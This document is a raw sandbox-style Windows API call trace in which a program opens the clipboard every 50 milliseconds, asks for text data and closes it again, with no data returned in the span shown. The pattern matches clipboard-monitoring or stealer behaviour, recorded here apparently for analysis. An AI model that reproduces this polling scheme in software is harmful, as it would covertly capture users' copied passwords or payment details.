[0274.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe7efd5f, dwHighDateTime=0x1d96e12))
[0274.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.368] GetClipboardData (uFormat=0x1) returned 0x0
[0274.368] CloseClipboard () returned 1
[0274.368] Sleep (dwMilliseconds=0x32)
[0274.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe815fa1, dwHighDateTime=0x1d96e12))
[0274.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.383] GetClipboardData (uFormat=0x1) returned 0x0
[0274.383] CloseClipboard () returned 1
[0274.383] Sleep (dwMilliseconds=0x32)
[0274.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe83c21f, dwHighDateTime=0x1d96e12))
[0274.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.398] GetClipboardData (uFormat=0x1) returned 0x0
[0274.398] CloseClipboard () returned 1
[0274.398] Sleep (dwMilliseconds=0x32)
[0274.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe86245b, dwHighDateTime=0x1d96e12))
[0274.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.415] GetClipboardData (uFormat=0x1) returned 0x0
[0274.415] CloseClipboard () returned 1
[0274.415] Sleep (dwMilliseconds=0x32)
[0274.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe8886ac, dwHighDateTime=0x1d96e12))
[0274.439] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.441] GetClipboardData (uFormat=0x1) returned 0x0
[0274.441] CloseClipboard () returned 1
[0274.441] Sleep (dwMilliseconds=0x32)
[0274.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe8ae908, dwHighDateTime=0x1d96e12))
[0274.445] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.445] GetClipboardData (uFormat=0x1) returned 0x0
[0274.445] CloseClipboard () returned 1
[0274.445] Sleep (dwMilliseconds=0x32)
[0274.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe8d4b80, dwHighDateTime=0x1d96e12))
[0274.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.461] GetClipboardData (uFormat=0x1) returned 0x0
[0274.461] CloseClipboard () returned 1
[0274.461] Sleep (dwMilliseconds=0x32)
[0274.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe8fadbc, dwHighDateTime=0x1d96e12))
[0274.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.476] GetClipboardData (uFormat=0x1) returned 0x0
[0274.476] CloseClipboard () returned 1
[0274.476] Sleep (dwMilliseconds=0x32)
[0274.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe921047, dwHighDateTime=0x1d96e12))
[0274.494] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.494] GetClipboardData (uFormat=0x1) returned 0x0
[0274.494] CloseClipboard () returned 1
[0274.494] Sleep (dwMilliseconds=0x32)
[0274.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe947284, dwHighDateTime=0x1d96e12))
[0274.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.508] GetClipboardData (uFormat=0x1) returned 0x0
[0274.508] CloseClipboard () returned 1
[0274.508] Sleep (dwMilliseconds=0x32)
[0274.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe96d4ec, dwHighDateTime=0x1d96e12))
[0274.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.523] GetClipboardData (uFormat=0x1) returned 0x0
[0274.523] CloseClipboard () returned 1
[0274.523] Sleep (dwMilliseconds=0x32)
[0274.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe993745, dwHighDateTime=0x1d96e12))
[0274.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.540] GetClipboardData (uFormat=0x1) returned 0x0
[0274.540] CloseClipboard () returned 1
[0274.540] Sleep (dwMilliseconds=0x32)
[0274.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe9b99b6, dwHighDateTime=0x1d96e12))
[0274.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.554] GetClipboardData (uFormat=0x1) returned 0x0
[0274.554] CloseClipboard () returned 1
[0274.554] Sleep (dwMilliseconds=0x32)
[0274.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfe9dfbd1, dwHighDateTime=0x1d96e12))
[0274.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.572] GetClipboardData (uFormat=0x1) returned 0x0
[0274.572] CloseClipboard () returned 1
[0274.572] Sleep (dwMilliseconds=0x32)
[0274.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfea05e46, dwHighDateTime=0x1d96e12))
[0274.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.586] GetClipboardData (uFormat=0x1) returned 0x0
[0274.586] CloseClipboard () returned 1
[0274.586] Sleep (dwMilliseconds=0x32)
[0274.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfea2c08e, dwHighDateTime=0x1d96e12))
[0274.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.601] GetClipboardData (uFormat=0x1) returned 0x0
[0274.602] CloseClipboard () returned 1
[0274.602] Sleep (dwMilliseconds=0x32)
[0274.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfea52320, dwHighDateTime=0x1d96e12))
[0274.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.618] GetClipboardData (uFormat=0x1) returned 0x0
[0274.618] CloseClipboard () returned 1
[0274.618] Sleep (dwMilliseconds=0x32)
[0274.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfea8475e, dwHighDateTime=0x1d96e12))
[0274.638] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.638] GetClipboardData (uFormat=0x1) returned 0x0
[0274.641] CloseClipboard () returned 1
[0274.641] Sleep (dwMilliseconds=0x32)
[0274.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfea9e7aa, dwHighDateTime=0x1d96e12))
[0274.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.648] GetClipboardData (uFormat=0x1) returned 0x0
[0274.648] CloseClipboard () returned 1
[0274.648] Sleep (dwMilliseconds=0x32)
[0274.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeac4ae6, dwHighDateTime=0x1d96e12))
[0274.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.671] GetClipboardData (uFormat=0x1) returned 0x0
[0274.671] CloseClipboard () returned 1
[0274.671] Sleep (dwMilliseconds=0x32)
[0274.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeaeac65, dwHighDateTime=0x1d96e12))
[0274.681] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.681] GetClipboardData (uFormat=0x1) returned 0x0
[0274.681] CloseClipboard () returned 1
[0274.681] Sleep (dwMilliseconds=0x32)
[0274.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeb10eb4, dwHighDateTime=0x1d96e12))
[0274.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.695] GetClipboardData (uFormat=0x1) returned 0x0
[0274.695] CloseClipboard () returned 1
[0274.695] Sleep (dwMilliseconds=0x32)
[0274.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeb37146, dwHighDateTime=0x1d96e12))
[0274.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.711] GetClipboardData (uFormat=0x1) returned 0x0
[0274.711] CloseClipboard () returned 1
[0274.711] Sleep (dwMilliseconds=0x32)
[0274.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeb5d3bc, dwHighDateTime=0x1d96e12))
[0274.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.726] GetClipboardData (uFormat=0x1) returned 0x0
[0274.726] CloseClipboard () returned 1
[0274.726] Sleep (dwMilliseconds=0x32)
[0274.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeb835fb, dwHighDateTime=0x1d96e12))
[0274.744] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.744] GetClipboardData (uFormat=0x1) returned 0x0
[0274.744] CloseClipboard () returned 1
[0274.744] Sleep (dwMilliseconds=0x32)
[0274.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeba9838, dwHighDateTime=0x1d96e12))
[0274.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.758] GetClipboardData (uFormat=0x1) returned 0x0
[0274.758] CloseClipboard () returned 1
[0274.758] Sleep (dwMilliseconds=0x32)
[0274.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfebcfa74, dwHighDateTime=0x1d96e12))
[0274.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.773] GetClipboardData (uFormat=0x1) returned 0x0
[0274.773] CloseClipboard () returned 1
[0274.773] Sleep (dwMilliseconds=0x32)
[0274.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfebf5cdc, dwHighDateTime=0x1d96e12))
[0274.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.790] GetClipboardData (uFormat=0x1) returned 0x0
[0274.790] CloseClipboard () returned 1
[0274.790] Sleep (dwMilliseconds=0x32)
[0274.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfec1bf38, dwHighDateTime=0x1d96e12))
[0274.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.804] GetClipboardData (uFormat=0x1) returned 0x0
[0274.804] CloseClipboard () returned 1
[0274.804] Sleep (dwMilliseconds=0x32)
[0274.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfec4218d, dwHighDateTime=0x1d96e12))
[0274.822] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.822] GetClipboardData (uFormat=0x1) returned 0x0
[0274.822] CloseClipboard () returned 1
[0274.822] Sleep (dwMilliseconds=0x32)
[0274.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfec683f4, dwHighDateTime=0x1d96e12))
[0274.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.836] GetClipboardData (uFormat=0x1) returned 0x0
[0274.836] CloseClipboard () returned 1
[0274.836] Sleep (dwMilliseconds=0x32)
[0274.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfec8e64b, dwHighDateTime=0x1d96e12))
[0274.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.851] GetClipboardData (uFormat=0x1) returned 0x0
[0274.851] CloseClipboard () returned 1
[0274.851] Sleep (dwMilliseconds=0x32)
[0274.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfecb489f, dwHighDateTime=0x1d96e12))
[0274.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.868] GetClipboardData (uFormat=0x1) returned 0x0
[0274.868] CloseClipboard () returned 1
[0274.868] Sleep (dwMilliseconds=0x32)
[0274.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfecdab33, dwHighDateTime=0x1d96e12))
[0274.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.883] GetClipboardData (uFormat=0x1) returned 0x0
[0274.883] CloseClipboard () returned 1
[0274.883] Sleep (dwMilliseconds=0x32)
[0274.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfed00d71, dwHighDateTime=0x1d96e12))
[0274.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.898] GetClipboardData (uFormat=0x1) returned 0x0
[0274.898] CloseClipboard () returned 1
[0274.898] Sleep (dwMilliseconds=0x32)
[0274.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfed26fbe, dwHighDateTime=0x1d96e12))
[0274.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.915] GetClipboardData (uFormat=0x1) returned 0x0
[0274.915] CloseClipboard () returned 1
[0274.915] Sleep (dwMilliseconds=0x32)
[0274.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfed4d23c, dwHighDateTime=0x1d96e12))
[0274.930] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.930] GetClipboardData (uFormat=0x1) returned 0x0
[0274.930] CloseClipboard () returned 1
[0274.930] Sleep (dwMilliseconds=0x32)
[0274.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfed73470, dwHighDateTime=0x1d96e12))
[0274.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.946] GetClipboardData (uFormat=0x1) returned 0x0
[0274.947] CloseClipboard () returned 1
[0274.947] Sleep (dwMilliseconds=0x32)
[0274.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfed996d6, dwHighDateTime=0x1d96e12))
[0274.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.961] GetClipboardData (uFormat=0x1) returned 0x0
[0274.961] CloseClipboard () returned 1
[0274.961] Sleep (dwMilliseconds=0x32)
[0274.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfedbf920, dwHighDateTime=0x1d96e12))
[0274.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.976] GetClipboardData (uFormat=0x1) returned 0x0
[0274.976] CloseClipboard () returned 1
[0274.976] Sleep (dwMilliseconds=0x32)
[0274.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfede5b70, dwHighDateTime=0x1d96e12))
[0274.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0274.993] GetClipboardData (uFormat=0x1) returned 0x0
[0274.993] CloseClipboard () returned 1
[0274.994] Sleep (dwMilliseconds=0x32)
[0275.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfee0bdd8, dwHighDateTime=0x1d96e12))
[0275.008] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.008] GetClipboardData (uFormat=0x1) returned 0x0
[0275.008] CloseClipboard () returned 1
[0275.008] Sleep (dwMilliseconds=0x32)
[0275.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfee3202d, dwHighDateTime=0x1d96e12))
[0275.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.023] GetClipboardData (uFormat=0x1) returned 0x0
[0275.023] CloseClipboard () returned 1
[0275.023] Sleep (dwMilliseconds=0x32)
[0275.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfee611c1, dwHighDateTime=0x1d96e12))
[0275.045] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.045] GetClipboardData (uFormat=0x1) returned 0x0
[0275.045] CloseClipboard () returned 1
[0275.046] Sleep (dwMilliseconds=0x32)
[0275.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfee7e4ef, dwHighDateTime=0x1d96e12))
[0275.055] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.055] GetClipboardData (uFormat=0x1) returned 0x0
[0275.055] CloseClipboard () returned 1
[0275.055] Sleep (dwMilliseconds=0x32)
[0275.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeea4776, dwHighDateTime=0x1d96e12))
[0275.070] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.070] GetClipboardData (uFormat=0x1) returned 0x0
[0275.070] CloseClipboard () returned 1
[0275.070] Sleep (dwMilliseconds=0x32)
[0275.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeeca99a, dwHighDateTime=0x1d96e12))
[0275.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.086] GetClipboardData (uFormat=0x1) returned 0x0
[0275.086] CloseClipboard () returned 1
[0275.086] Sleep (dwMilliseconds=0x32)
[0275.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeef0be9, dwHighDateTime=0x1d96e12))
[0275.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.101] GetClipboardData (uFormat=0x1) returned 0x0
[0275.101] CloseClipboard () returned 1
[0275.102] Sleep (dwMilliseconds=0x32)
[0275.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfef16e44, dwHighDateTime=0x1d96e12))
[0275.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.118] GetClipboardData (uFormat=0x1) returned 0x0
[0275.118] CloseClipboard () returned 1
[0275.118] Sleep (dwMilliseconds=0x32)
[0275.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfef3d0dd, dwHighDateTime=0x1d96e12))
[0275.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.133] GetClipboardData (uFormat=0x1) returned 0x0
[0275.133] CloseClipboard () returned 1
[0275.133] Sleep (dwMilliseconds=0x32)
[0275.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfef63303, dwHighDateTime=0x1d96e12))
[0275.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.148] GetClipboardData (uFormat=0x1) returned 0x0
[0275.148] CloseClipboard () returned 1
[0275.149] Sleep (dwMilliseconds=0x32)
[0275.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfef8955c, dwHighDateTime=0x1d96e12))
[0275.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.165] GetClipboardData (uFormat=0x1) returned 0x0
[0275.165] CloseClipboard () returned 1
[0275.165] Sleep (dwMilliseconds=0x32)
[0275.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfefaf7fe, dwHighDateTime=0x1d96e12))
[0275.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.180] GetClipboardData (uFormat=0x1) returned 0x0
[0275.180] CloseClipboard () returned 1
[0275.182] Sleep (dwMilliseconds=0x32)
[0275.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfefd5a15, dwHighDateTime=0x1d96e12))
[0275.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.196] GetClipboardData (uFormat=0x1) returned 0x0
[0275.196] CloseClipboard () returned 1
[0275.197] Sleep (dwMilliseconds=0x32)
[0275.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfeffbc83, dwHighDateTime=0x1d96e12))
[0275.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.211] GetClipboardData (uFormat=0x1) returned 0x0
[0275.211] CloseClipboard () returned 1
[0275.211] Sleep (dwMilliseconds=0x32)
[0275.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff021ebc, dwHighDateTime=0x1d96e12))
[0275.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.226] GetClipboardData (uFormat=0x1) returned 0x0
[0275.226] CloseClipboard () returned 1
[0275.226] Sleep (dwMilliseconds=0x32)
[0275.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff048130, dwHighDateTime=0x1d96e12))
[0275.244] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.244] GetClipboardData (uFormat=0x1) returned 0x0
[0275.244] CloseClipboard () returned 1
[0275.244] Sleep (dwMilliseconds=0x32)
[0275.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff06e346, dwHighDateTime=0x1d96e12))
[0275.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.258] GetClipboardData (uFormat=0x1) returned 0x0
[0275.258] CloseClipboard () returned 1
[0275.258] Sleep (dwMilliseconds=0x32)
[0275.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff0945c5, dwHighDateTime=0x1d96e12))
[0275.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.273] GetClipboardData (uFormat=0x1) returned 0x0
[0275.273] CloseClipboard () returned 1
[0275.273] Sleep (dwMilliseconds=0x32)
[0275.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff0ba821, dwHighDateTime=0x1d96e12))
[0275.291] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.291] GetClipboardData (uFormat=0x1) returned 0x0
[0275.291] CloseClipboard () returned 1
[0275.291] Sleep (dwMilliseconds=0x32)
[0275.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff1531a8, dwHighDateTime=0x1d96e12))
[0275.361] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.361] GetClipboardData (uFormat=0x1) returned 0x0
[0275.362] CloseClipboard () returned 1
[0275.362] Sleep (dwMilliseconds=0x32)
[0275.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff1ebb14, dwHighDateTime=0x1d96e12))
[0275.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.415] GetClipboardData (uFormat=0x1) returned 0x0
[0275.415] CloseClipboard () returned 1
[0275.415] Sleep (dwMilliseconds=0x32)
[0275.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff3b574b, dwHighDateTime=0x1d96e12))
[0275.615] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.615] GetClipboardData (uFormat=0x1) returned 0x0
[0275.615] CloseClipboard () returned 1
[0275.616] Sleep (dwMilliseconds=0x32)
[0275.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff49a583, dwHighDateTime=0x1d96e12))
[0275.697] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.697] GetClipboardData (uFormat=0x1) returned 0x0
[0275.697] CloseClipboard () returned 1
[0275.697] Sleep (dwMilliseconds=0x32)
[0275.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff559137, dwHighDateTime=0x1d96e12))
[0275.784] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.785] GetClipboardData (uFormat=0x1) returned 0x0
[0275.785] CloseClipboard () returned 1
[0275.786] Sleep (dwMilliseconds=0x32)
[0275.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff5a55c0, dwHighDateTime=0x1d96e12))
[0275.813] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.813] GetClipboardData (uFormat=0x1) returned 0x0
[0275.813] CloseClipboard () returned 1
[0275.813] Sleep (dwMilliseconds=0x32)
[0275.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff5cb800, dwHighDateTime=0x1d96e12))
[0275.826] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.830] GetClipboardData (uFormat=0x1) returned 0x0
[0275.831] CloseClipboard () returned 1
[0275.831] Sleep (dwMilliseconds=0x32)
[0275.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff5f1aad, dwHighDateTime=0x1d96e12))
[0275.846] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.846] GetClipboardData (uFormat=0x1) returned 0x0
[0275.846] CloseClipboard () returned 1
[0275.846] Sleep (dwMilliseconds=0x32)
[0275.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff617cd8, dwHighDateTime=0x1d96e12))
[0275.859] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.862] GetClipboardData (uFormat=0x1) returned 0x0
[0275.866] CloseClipboard () returned 1
[0275.872] Sleep (dwMilliseconds=0x32)
[0275.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff664176, dwHighDateTime=0x1d96e12))
[0275.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0275.883] GetClipboardData (uFormat=0x1) returned 0x0
[0275.883] CloseClipboard () returned 1
[0275.883] Sleep (dwMilliseconds=0x32)
[0275.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xff68a3e6, dwHighDateTime=0x1d96e12))
